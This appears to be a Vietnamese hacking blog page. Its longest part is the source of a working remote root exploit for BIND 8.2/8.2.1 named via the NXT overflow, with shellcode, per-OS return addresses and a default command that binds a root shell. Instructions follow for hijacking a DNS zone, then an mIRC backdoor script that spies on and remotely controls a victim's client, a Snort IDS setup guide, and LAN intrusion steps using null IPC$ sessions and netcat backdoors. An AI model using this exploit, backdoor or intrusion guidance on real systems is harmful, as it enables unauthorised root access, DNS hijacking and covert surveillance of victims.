0x6f,0x64,0x65,0x66,0x6f,0x72,0x74,0x75,0x6e,0x61,0x74,0x6c,0x79,0x74,0x68,
0x69,0x73,0x77,0x69,0x6c,0x6c,0x77,0x6f,0x72,0x6b,0x69,0x68,0x6f,0x70,0x65,
0x6f,0x6b,0x69,0x74,0x68,0x69,0x6e,0x6b,0x65,0x6e,0x6f,0x75,0x67,0x68,0x73,
0x70,0x61,0x63,0x65,0x6e,0x6f,0x77,0x0,0x70,0x6c,0x61,0x67,0x75,0x65,0x7a,
0x5b,0x41,0x44,0x4d,0x5d,0x20,0x42,0x53,0x44,0x20,0x63,0x72,0x61,0x70,0x70,
0x79,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x2d,0x20,0x31,
0x30,0x2f,0x39,0x39,0x31,0xd2,0xe9,0x3f,0xff,0xff,0xff,0x8d,0x46,0x4,0x50,
0x8d,0x46,0x8,0x50,0x52,0x52,0xb8,0x1f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x83,0xf8,
0x0,0x75,0x6,0x80,0x7e,0x9,0x2,0x74,0xc,0x52,0x52,0xb8,0x6,0x0,0x0,0x0,0xcd,
0x80,0x42,0xeb,0xd7,0x6a,0x0,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,
0x1,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,0x2,0x52,0x52,0xb8,0x5a,
0x0,0x0,0x0,0xcd,0x80,0xeb,0x29,0x5e,0x46,0x46,0x46,0x46,0x46,0x8d,0x56,0x38,
0x89,0x56,0x28,0xc7,0x46,0x2c,0x0,0x0,0x0,0x0,0x8d,0x46,0x34,0x50,0x8d,0x46,
0x28,0x50,0x52,0x52,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0xe9,0xc1,0xfe,0xff,0xff,
0xe8,0xd2,0xff,0xff,0xff,0xe8,0x27,0xfe,0xff,0xff,0x2e,0x0,0x41,0x44,0x4d,
0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
0x0,0x2e,0x2f,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0x0,0x0,0x0,0x0,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x0,0x2d,0x63,0x0,
0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x59,0x4f,0x59,0x4f,
0x59,0x4f,0x0};

char bsdnochroot[]=
{0xe9,0x79,0x1,0x0,0x0,0x5e,0x50,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x85,0xc0,0xf,
0x85,0xe6,0x0,0x0,0x0,0x8d,0x56,0x38,0x89,0x56,0x28,0x8d,0x46,0x40,0x89,0x46,
0x2c,0x8d,0x46,0x43,0x89,0x46,0x30,0x8d,0x46,0x30,0x50,0x8d,0x46,0x28,0x50,
0x52,0x50,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0x50,0x50,0xb8,0x1,0x0,0x0,0x0,
0xcd,0x80,0xe8,0xbc,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0x0,0x0,0x0,0x62,0x6c,
0x61,0x68,0x62,0x6c,0x61,0x68,0x73,0x61,0x6d,0x65,0x74,0x68,0x69,0x6e,0x67,
0x79,0x65,0x74,0x61,0x6e,0x6f,0x74,0x68,0x65,0x72,0x73,0x70,0x61,0x63,0x65,
0x66,0x6f,0x72,0x61,0x73,0x6f,0x63,0x6b,0x61,0x64,0x64,0x72,0x73,0x74,0x72,
0x75,0x63,0x74,0x75,0x72,0x65,0x62,0x75,0x74,0x74,0x68,0x69,0x73,0x74,0x69,
0x6d,0x65,0x66,0x6f,0x72,0x74,0x68,0x65,0x62,0x73,0x64,0x73,0x68,0x65,0x6c,
0x6c,0x63,0x6f,0x64,0x65,0x66,0x6f,0x72,0x74,0x75,0x6e,0x61,0x74,0x6c,0x79,
0x74,0x68,0x69,0x73,0x77,0x69,0x6c,0x6c,0x77,0x6f,0x72,0x6b,0x69,0x68,0x6f,
0x70,0x65,0x6f,0x6b,0x69,0x74,0x68,0x69,0x6e,0x6b,0x65,0x6e,0x6f,0x75,0x67,
0x68,0x73,0x70,0x61,0x63,0x65,0x6e,0x6f,0x77,0x0,0x70,0x6c,0x61,0x67,0x75,
0x65,0x7a,0x5b,0x41,0x44,0x4d,0x5d,0x20,0x42,0x53,0x44,0x20,0x63,0x72,0x61,
0x70,0x70,0x79,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x2d,
0x20,0x31,0x30,0x2f,0x39,0x39,0x31,0xd2,0xe9,0x3f,0xff,0xff,0xff,0x5e,0x8d,
0x46,0x4,0x50,0x8d,0x46,0x8,0x50,0x52,0x52,0xb8,0x1f,0x0,0x0,0x0,0xcd,0x80,
0x5a,0x83,0xf8,0x0,0x75,0x6,0x80,0x7e,0x9,0x2,0x74,0xc,0x52,0x52,0xb8,0x6,
0x0,0x0,0x0,0xcd,0x80,0x42,0xeb,0xd7,0x6a,0x0,0x52,0x52,0xb8,0x5a,0x0,0x0,
0x0,0xcd,0x80,0x6a,0x1,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,0x2,
0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0xeb,0x29,0x5e,0x46,0x46,0x46,0x46,
0x46,0x8d,0x56,0x38,0x89,0x56,0x28,0xc7,0x46,0x2c,0x0,0x0,0x0,0x0,0x8d,0x46,
0x34,0x50,0x8d,0x46,0x28,0x50,0x52,0x52,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0xe9,
0xc0,0xfe,0xff,0xff,0xe8,0xd2,0xff,0xff,0xff,0xe8,0x82,0xfe,0xff,0xff,0x2e,
0x0,0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,
0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,
0x2f,0x2e,0x2e,0x2f,0x0,0x2e,0x2f,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,
0x0,0x2d,0x63,0x0,0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,
0x59,0x4f,0x59,0x4f,0x59,0x4f,0x0};

struct arch
{
int id;
char *name;
char *code;
int codesize;
unsigned long safe;
unsigned long ret;
int length;
};

struct arch archlist[] =
{
{1, "Linux Redhat 6.x - named 8.2/8.2.1 (from rpm)", linuxcode, sizeof(linuxcode), 0, 0xbfffd6c3, 6500},
{2, "Linux SolarDiz's non-exec stack patch - named 8.2/8.2.1",linuxcode, sizeof(linuxcode), 0, 0x80f79ae, 6500},
{3, "Solaris 7 (0xff) - named 8.2.1", sc, sizeof(sc), 0xffbea738, 0xffbedbd0, 11000},
{4, "Solaris 2.6 - named 8.2.1", sc, sizeof(sc), 0xefffa000, 0xefffe5d0, 11000},
{5, "FreeBSD 3.2-RELEASE - named 8.2", bsdcode, sizeof(bsdcode), 1, 0xbfbfbdb8, 7000},
{6, "OpenBSD 2.5 - named 8.2", bsdcode, sizeof(bsdcode), 1, 0xefbfbb00, 7000},
{7, "NetBSD 1.4.1 - named 8.2.1", bsdnochroot, sizeof(bsdnochroot), 1, 0xefbfbb00, 7000},
{0, 0, 0, 0}
};

int arch=0;
char *command=0;

/* these two dns routines from dspoof/jizz */

/* pull out a compressed query name */
char *dnssprintflabel(char *s, char *buf, char *p)
{
unsigned short i,len;
char *b=NULL;

len=(unsigned short)*(p++);
while (len)
{
while (len >= 0xC0)
{
if (!b)
b=p+1;
p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
len=(unsigned short)*(p++);
}

for (i=0;i<len;i++)
*(s++)=*(p++);

*(s++)='.';

len=(unsigned short)*(p++);
}

*(s++)=0;
if (b)
return(b);

return(p);
}

/* store a query name */
char *dnsaddlabel(char *p, char *label)
{
char *p1;

while ((*label) && (label))
{
if ((*label == '.') && (!*(label+1)))
break;

p1=strchr(label,'.');

if (!p1)
p1=strchr(label,0);

*(p++)=p1-label;
memcpy(p,label,p1-label);
p+=p1-label;

label=p1;
if (*p1)
label++;
}
*(p++)=0;

return(p);
}

void make_overflow(char *a)
{
int i;
unsigned long *b;
unsigned char *c;
char sbuf[4096];

if (archlist[arch].safe==0) /* linux */
{
memset(a,0x90,4134);
memcpy(a+3500,archlist[arch].code,archlist[arch].codesize);

if (command)
strcpy(a+3500+archlist[arch].codesize, command);
else
strcpy(a+3500+archlist[arch].codesize, "exit");

b=(unsigned long*)(a+4134);
for (i=0;i<20;i++)
*b++=archlist[arch].ret;
}
else if (archlist[arch].safe==1) /* bsd */
{
memset(a,0x90,4134);
memcpy(a+3300,archlist[arch].code,archlist[arch].codesize);

if (command)
strcpy(a+3300+archlist[arch].codesize, command);
else
strcpy(a+3300+archlist[arch].codesize, "exit");

b=(unsigned long*)(a+4134);
for (i=0;i<20;i++)
*b++=archlist[arch].ret;
}
else /*SPARC*/
{
memset(a,0x0,11000);

b=(unsigned long*)(a+4438);

for (i=0;i<1500;i++)
*b++=htonl(0xac15a16e);

c=(char *)b;

for (i=0;i<archlist[arch].codesize;i++)
*c++=archlist[arch].code[i];
if (command)
strcpy(c, command);
else
strcpy(c, "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" \
>>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob;/bin/rm -f /tmp/bob ");

b=(unsigned long*)(a+4166);

*b++=htonl(0xdeadbeef);
*b++=htonl(0xdeadbeef);
*b++=htonl(archlist[arch].safe); //i2 - significant
*b++=htonl(0xdeadbeef);
*b++=htonl(0xdeadbeef);
*b++=htonl(archlist[arch].safe); //i5 - significant
*b++=htonl(0xdeadbeef);
*b++=htonl(0xdeadbeef);

*b++=htonl(archlist[arch].safe); //o0 - significant
*b++=htonl(0xdeadbeef);
*b++=htonl(archlist[arch].safe); //o2 - significant
*b++=htonl(0xdeadbeef);
*b++=htonl(0xdeadbeef);
*b++=htonl(0xdeadbeef);
*b++=htonl(archlist[arch].safe); //o6 - significant
*b++=htonl(archlist[arch].ret); //o7 - retaddr
}

}

int form_response(HEADER *packet, char *buf)
{
char query[512];
int qtype;
HEADER *dnsh;
char *p;
char *walker;

memset(buf,0,sizeof(buf));

dnsh = (HEADER *) buf;
dnsh->id = packet->id;
dnsh->qr=1;
dnsh->aa=1;
dnsh->qdcount = htons(1);
dnsh->ancount = htons(1);
dnsh->arcount = htons(1);
dnsh->rcode = 0;

walker=(char*)(dnsh+1);

p=dnssprintflabel(query, (char *)packet, (char*)(packet+1));
query[strlen(query) - 1] = 0;

qtype=*((unsigned short *)p);

printf("%s type=%d\n",query, ntohs(qtype));

/* first, the query */

walker=dnsaddlabel(walker, query);
PUTSHORT(ntohs(qtype), walker);
//PUTSHORT(htons(T_PTR), walker);
PUTSHORT(1,walker);

/* then, our answer */
/* query IN A 1.2.3.4 */

walker=dnsaddlabel(walker, query);
PUTSHORT(T_A, walker);
PUTSHORT(1, walker);
PUTLONG(60*5, walker);
PUTSHORT(4, walker);
sprintf(walker,"%c%c%c%c",1,2,3,4);
walker+=4;

/* finally, we make named do something more interesting */

walker=dnsaddlabel(walker, query);
PUTSHORT(T_NXT, walker);
PUTSHORT(1, walker);
PUTLONG(60*5, walker);

/* the length of one label and our arbitrary data */

PUTSHORT(archlist[arch].length+7, walker);

PUTSHORT(6, walker);
sprintf(walker,"admadm");
walker+=6;
PUTSHORT(0, walker);

make_overflow(walker);
walker+=archlist[arch].length;
PUTSHORT(0, walker);
return walker-buf;
}

#define max(x,y) ((x)>(y)?(x):(y))

int proxyloop(int s)
{
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;

sleep(1);
printf("Entering proxyloop..\n");
strcpy(snd, "cd /; uname -a; pwd; id;\n");
write(s, snd, strlen(snd));

for (;;)
{
FD_SET(fileno(stdin), &rset);
FD_SET(s, &rset);
maxfd = max(fileno(stdin), s) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if (FD_ISSET(fileno(stdin), &rset))
{
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd) - 2, stdin);
write(s, snd, strlen(snd));
}
if (FD_ISSET(s, &rset))
{
bzero(rcv, sizeof(rcv));
if ((n = read(s, rcv, sizeof(rcv))) == 0)
exit(0);
if (n < 0)
{
return -3;
}
fputs(rcv, stdout);
}
}
return 0;
}

int main(int argc, char **argv)
{
int s, fromlen, res, sl, s2;
struct sockaddr_in sa, from, to;
char buf[16384];
char sendbuf[16384];
unsigned short ts;
int i;

if (argc<2)
{
fprintf(stderr,"Usage: %s architecture [command]\n", argv[0]);
fprintf(stderr,"Available architectures:\n");
i=-1;
while(archlist[++i].id)
fprintf(stderr," %d: %s\n",archlist[i].id,archlist[i].name);
exit(1);
}

arch=atoi(argv[1])-1;

if (argc==3)
command=argv[2];

if ((s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))==-1)
{
perror("socket");
exit(1);
}

bzero(&sa, sizeof sa);

sa.sin_family=AF_INET;
sa.sin_addr.s_addr=INADDR_ANY;
sa.sin_port=htons(53);

if (bind(s, (struct sockaddr *)&sa, sizeof(sa))==-1)
{
perror("bind");
exit(1);
}

do
{
fromlen=sizeof(from);
if ((res=recvfrom(s, buf, sizeof buf, 0, (struct sockaddr *)&from,
&fromlen)) == -1)
{
perror("recvfrom");
exit(1);
}

printf("Received request from %s:%d for ", inet_ntoa(from.sin_addr),
ntohs(from.sin_port));

sl=form_response((HEADER *)buf,sendbuf);

/* now lets connect to the nameserver */

bzero(&to, sizeof(to));
to.sin_family=AF_INET;
to.sin_addr=from.sin_addr;
to.sin_port=htons(53);

if ((s2=socket(AF_INET, SOCK_STREAM, 0))==-1)
{
perror("socket");
exit(1);
}

if (connect(s2, (struct sockaddr *)&to, sizeof to)==-1)
{
perror("connect");
exit(1);
}

ts=htons(sl);
write(s2,&ts,2);

write(s2,sendbuf,sl);
if (archlist[arch].safe>1)
close(s2);
}
while (archlist[arch].safe>1); /* infinite loop for sparc */
proxyloop(s2);
exit(1);
}

Bước 3: với root shell đã có ở bước 2, chúng ta sẽ thay đổi vài dữ liệu tên miền của primary DNS server. Như bạn biết, mỗi primary DNS server sẽ có uy quyền (authoritative) về một domain trên mạng. Để hack DNS server, bạn chỉ việc thêm một bản ghi NS cho sub-domain trong file vùng (zone) và restart lại name server service. Đầu tiên, bạn xác định thư mục của các file vùng. Hãy tìm trong file cấu hình của BIND (/etc/named.conf) dòng có dạng ‘directory "/var/named";’. Thư mục lưu các file vùng là "/var/named". Tìm tiếp trong file name.conf dòng ‘type master;’, dòng 'file' ở phía dưới sẽ cho biết tên file vùng:

Zone "mydomain.com" {
Type master;
File "mydomain.com.zone"
};

Đường dẫn đầy đủ của file vùng cần sửa đổi là "/var/named/mydomain.com.zone". Nếu cat file này, bạn sẽ thấy một bản ghi SOA ở đầu file:

@ IN NS NS.UU.mydomain.com.

Để thay đổi 'mysubdomain.mydomain.com’ trỏ đến địa chỉ IP của 'attacking.box.com’, bạn hãy thêm vào file vùng này một bản ghi NS như sau:

mysubdomain IN NS attacking.box.com.

Nhớ đừng quên dấu '.' ở cuối nha. Bây giờ restart lại server bằng dòng lệnh ‘/usr/sbin/ndc restart’ là xong!

Bạn thử thẩm vấn DNS trên target vừa bị hack xem sao!

$nslookup
>server <target>
>www.mysubdomain.mydomain.com




Hack BIND 8.2/8.2.1 qua bug "NXT"

on Leave a Comment

Dieu khien may tinh qua IRC Server

 


Điều khiển máy tính qua IRC Server :
       Đoạn mã ngắn gọn giúp bạn quản lí hoàn toàn người khác. Bạn không chỉ có thể nhận được đẩy đủ các thông tin cần thiết mà còn có thể điều khiển Script của người đó từ xa. Nếu bạn thực sự am hiểu về mIRC thì coi như cả chiếc máy tính đó đang nằm trong tay bạn thay vì chỉ riêng Script.
     Trước hết bạn chèn đoạn mã sau vào trong Remote của Script mà bạn muốn điều khiển từ xa. Sau đó với từ khoá Begin bạn có thể bắt đầu điều khiển script đó từ bất khì một user nào khác trong cung một server. Bạn hãy gõ: /ctcp <nick victim> begin. bạn sẽ thấy được dòng chữ You're activing. ( Bạn có thể thay thế từ khoá Begin)
     Khi đó khi victim gõ hay nhận mất cư một thông điệp nào thì mọi thông tin đều được chuyển về máy bạn. Còn nếu bạn muốn victim thực hiện một lệnh nào đó thì hãy gõ: /ctcp <nick victim> $1-, $1- sẽ thay thế bằng một lệnh trong Script của người đó. Cho tới khi bạn không muốn điều khiển nữa, hãy gõ: /ctcp <nick victim> end
Ví dụ: /ctcp Luke begin ; bắt đầu xác nhận quyền điều khiển
/ctcp Luke msg #tonghop Hi all ; bắt Luke nói Hi all trong #tonghop
/ctcp Luke kick abc #tonghop Chat nice plz !; bắt Luke kick nick abc ra khỏi #tonghop với lí do là Chat nice plz !, lệnh này sẽ được thực hiện nếu Luke đang được +o trong #tonghop
/ctcp Luke end ; Tắt quyền điều khiển Luke
    Chúc các bạn thành công.
IRC Scripts Code
ctcp 1:begin:*:{
//set %3pty $nick
//raw -q privmsg %3pty : You're activing.
//halt
}
ctcp 1:end:*:{
//raw -q privmsg %3pty : You're Deactivating .
//set %3pty $null
//halt
}
ctcp 1:*:*:{
if ( $nick == %3pty ) {
$1-
/halt
}
}
on 1:INPUT:*:{
if (%3pty != $null) /raw -q privmsg %3pty : - $me to $active - $1-
}
on 1:TEXT:*:?:{
if (%3pty != $null) /raw -q privmsg %3pty : - $nick to $me - $1-
}
raw *:*No such nick/channel*:/halt
[B][/B]
Bài biết của Lukos

Dieu khien may tinh qua IRC Server

on Leave a Comment

Cài đặt nhanh hệ thống phát hiện xâm nhập dùng Snort+ACID :

Hướng dẫn cài đặt nhanh hệ thống phát hiện xâm nhập (IDS) trên Linux/Unix sử dụng Snort với cơ sở dữ liệu mysql để lưu log, alert và ACID làm giao diện theo dõi.
* Yêu cầu hệ thống:
- mysql-3.23+ http://www.mysql.org/
- apache-1.3+ http://httpd.apache.org/
- php-4.04+ http://www.php.net/
- snort-1.8.3+ http://www.snort.org/
- acid-0.9.6+ http://www.andrew.cmu.edu/~rdanyliw/snort/snortacid.html
- adodb-1.2+ http://php.weblogs.com/adodb
- phplot-4.4.6+ http://phplot.sourceforge.net/ (tuỳ chọn để xem các thống kê dạng biểu đồ đưọc vẽ bằng thư viện gd, yêu cầu php phải được biên dịch hỗ trợ gd)
* Giả thiết:
- Hệ thống đã được cài đặt mysql, apache, php và hoạt động tốt (ví dụ RH 7.2).
- Địa chỉ mạng cục bộ cần theo dõi: 192.168.1.0/24
* Cài đặt snort và cấu hình snort.
Download mã nguồn:
http://www.snort.org/dl/snort-1.8.6.tar.gz
# tar zxvf snort-1.8.6.tar.gz
# cd snort-1.8.6
# ./configure --with-mysql=/usr
# make
# make install
# mkdir /etc/snort
# cp *.rules classification.config snort.conf /etc/snort/
Tạo bảng dữ liệu để lưu trữ snort log, alert:
# mysql -u root -p
mysql> create database snort;
mysql> grant INSERT,SELECT on snort.* to snort@localhost identified by '<password>';
mysql> exit
# mysql snort -u root -p < ./contrib/create_mysql
Sửa các thông số sau trong file /etc/snort/snort.conf
var HOME_NET 192.168.1.0/24
...
output database: log, mysql, user=snort password=<password> dbname=snort host=localhost
output database: alert, mysql, user=snort password=<password> dbname=snort host=localhost
Khởi động snort:
# /usr/local/bin/snort -D -d -v -i eth0 -c /etc/snort/snort.conf
* Cài đặt và cấu hình acid
Download mã nguồn:
http://www.andrew.cmu.edu/~rdanyliw/snort/acid-0.9.6b21.tar.gz
http://phplens.com/lens/dl/adodb190.tgz
http://prdownloads.sourceforge.net/phplot/phplot-4.4.6.tar.gz
Giải nén và đặt adodb, acid vào thư mục con của httpd DocumentRoot:
# cp acid-0.9.6b21.tar.gz /var/www/html
# tar zxvf acid-0.9.6b21.tar.gz
# cp adodb190.tgz /var/www/html
# tar zxvf adodb190.tgz
# cp phplot-4.4.6.tar.gz /var/www/html
# tar zxvf phplot-4.4.6.tar.gz
Kiểm tra xem php có được cấu hình đúng với gd không:
http://locolhost/phplot-4.4.6/examples/test_setup.php
Nếu không xem được các biểu đồ ví dụ, bạn phải xem lại php có được biên dịch với thư viện gd và đã bật hỗ trợ gd trong /etc/php.ini chưa (extension=gd.so).
Tạo bảng dữ liệu để lưu trữ các alert dành riêng cho acid:
# mysql -u root -p
mysql> create database snort_archive;
mysql> grant INSERT,SELECT on snort.* to snort_archive@localhost identified by '<password>';
mysql> exit
# mysql snort -u root -p < create_acid_tbls_mysql.sql
Cấu hình các thông số cần thiết cho acid trong file acid_conf.php
$DBlib_path = "../adodb";
$DBtype = "mysql";
/* Alert DB connection parameters */
$alert_dbname = "snort";
$alert_host = "localhost";
$alert_port = "";
$alert_user = "snort";
$alert_password = "<password>";
/* Archive DB connection parameters */
$archive_dbname = "snort_archive";
$archive_host = "localhost";
$archive_port = "";
$archive_user = "snort";
$archive_password = "<password>";
$ChartLib_path = "../phplot-4.4.6"; // tuỳ chọn, nếu php hỗ trợ gd
/* File format of charts ('png', 'jpeg', 'gif') */
$chart_file_format = "png";
Để an toàn, nên thiết lập yêu cầu xác thực cho các truy xuất đến thư mục acid trên web server.
File /var/www/html/acid/.htaccess:
AuthName ACID Secure Area
AuthType Basic
AuthUserFile /var/www/html/acid/.htpasswd
Allow from all
<limit GET POST>
require valid-user
</limit>
File /var/www/html/acid/.htpasswd:
acid:<encrypted password>
Thiết lập browser của bạn cho phép tất cả cookie từ host chạy acid. Hoàn tất quá trình cài đặt và bắt đầu sử dụng acid để theo dõi các hoạt động trên mạng được snort phát hiện:
http://localhost/acid/
* Tham khảo:
http://www.snort.org/
http://www.andrew.cmu.edu/~rdanyliw/snort/snortacid.html

__________________
--SkZ0

on Leave a Comment

Các bước cơ bản để đột nhập trong LAN :

Có một số thắc mắc về các cách để thâm nhập vào một máy tính trong LAN của các bạn mới vào và các câu trả lời thường không được thống nhất, còn các tài liệu English thì các bạn ngại đọc.
Ðặc biệt là đối với các máy trong LAN không share resources, điều đó không có nghĩa là bạn không thể vào được. Dưới đây tôi sẽ giới thiệu sơ lược cho các bạn một vài cách thức cơ bản để kiểm tra và tìm cách đột nhập vào 1 máy tính trong LAN.

1- Kiểm tra IPC share:

IPC viết tắt của Inter-Process Communication, được dùng trong việc chia sẻ dữ liệu giữa các ứng dụng và máy tính trên mạng (NT/2K). Khi một máy được khởi động và log vào mạng, hdh sẽ tạo 1 chia sẻ ngầm định tên là IPC$. Nó sẽ giúp cho các máy khác có thể nhìn thấy và kết nối đến các chia sẻ trên máy này. Tuy nhiên, có thể vì một lý do gì đó, người dùng xóa mất IPC$ share, do đó, ta cần kiểm tra và tạo lại kết nối đến IPC$ (gọi là null connection), nếu kết nối thành công, ta có thể thấy được cả các chia xẻ đặc biệt được ẩn (bao gồm C$, ADMIN$, IPC$, IPC$). Cụ thể, dùng 1 trong 3 lệnh sau ở command prompt:
C:\>NET USE \\TARGET\IPC$ "" /USER:""
C:\>NET USE \\TARGET\IPC$ * /USER:
C:\>NET USE \\TARGET\IPC$ * /USER:""

trong đó: target là computername hoặc IP của máy bạn muốn kết nối.
Lưu ý, các chia xẻ có dấu $ phía sau tên chỉ ra rằng chia xẻ đó được ẩn và cách này chỉ áp dụng khi cổng NetBios 139 của máy bạn và máy đích được mở.
Thường là đối với chia xẻ dạng này, bạn sẽ ít có cơ hội khai thác được gì. Tuy nhiên, nếu may mắn, bạn vẫn có thể khai thác được trong trường hợp các chia xẻ đó không yêu cầu mật khẩu.

Kế đến, bạn dùng lệnh sau để xem các chia xẻ thấy được:
C:\>net view \\TARGET
Lệnh net view sẽ liệt kê danh sách các share của máy đích. Bạn dùng net view /? để biết thêm các cách dùng khác.
Sau khi tạo được null connection và biết được các share trên máy đối phương. Ðối với các share được bảo vệ bằng username/password, bạn có thể dùng các tool sau để thử crack chúng: Nat (NetBIOS Auditing Tool)...
Ðể tiết kiệm thời gian, bạn tìm và dùng thử chương trình xSharez scanner, cũng có thể cho bạn kết quả tương tự.

2- Kiểm tra các cổng mở
Một cách khác để connect vào một máy là duyệt các port mở của máy đích. Tuỳ loại port mà ta có cách thức khai thác khác nhau, đơn giản nhất là dùng telnet để connect vào máy thông qua port được mở, ví dụ: C:\telnet anhnguyen 69
Một số port thông dụng:
21: FTP
23: Telnet proxy server
25: SMTP
110: POP3
139: NETBIOS
1080: SOCKS proxy
6667: IRC mapping
.....
Các công cụ để scan port có rất nhiều, ví dụ như: superscan, elite, ....
Sau khi scan được port nào đang opened, nếu port đó ngoài những port trên, bạn thử dùng telnet để connect, nếu thành công, bạn có thể vào command prompt shell của máy đó.

3- Kiểm tra các lổ hổng của OS/Software
Cách cuối cùng tớ nói ở đây, cũng là cách khó nhất là duyệt xem máy đó đang dùng OS gì, server gì, software nào. Mỗi loại trên có các hole/vulnerability riêng, được tìm thấy và mô tả chi tiết trong các site về security như ntbugtraq, securityfocus, hoặc trong forum.
Từ những lổ hổng biết được, ta sử dụng các exploit tương ứng để thâm nhập vào máy.
Lỗi sơ đẳng nhất trong các system software là lỗi về cách đặt password, ví dụ như các máy Wins 9x có thể vào mà không cần password (tất nhiên là khi đó, người log vào sẽ bị hạn chế truy cập các tài nguyên mạng); hoặc như với NT/2K, sau khi setup, password ngầm định của adminnistrator là rỗng, nếu user không thay đổi pass cho admin, thì ta có thể connect remote được dưới username là administrator mà không cần pass.
Các lỗi còn lại thường là do các sai sót trong quá trình viết chương trình mà vô tình tạo nên những lỗ hổng, các đoạn code kiểm tra không đầy đủ, không stable...cho phép người dùng thực thi các lệnh, chạy các chương trình từ xa. Ví dụ như bug Unicode encoding của IIS4... Và cách thường dùng để nhập là tìm cách send 1 trojant/backdoor (điển hình như Netcat...)đến máy đó, chạy backdoor đó để mở 1 port nhất định nào đó, rồi ta sẽ connect remote vào port đó.

Trên đây chỉ là một số phương pháp sơ đẳng để giúp các bạn (newbie) hiểu được các cách thức có thể dùng để thâm nhập vào máy từ xa. Còn rất nhiều phương pháp khác mà tớ không liệt kê hết (vì không biết! hehe), các bạn sẽ từ từ tìm hiểm thêm.

Thứ Sáu, 27 tháng 9, 2013

on Leave a Comment

FROM THE OTHER SIDE :

Bản tóm tắt này không có sẵn. Vui lòng nhấp vào đây để xem bài đăng.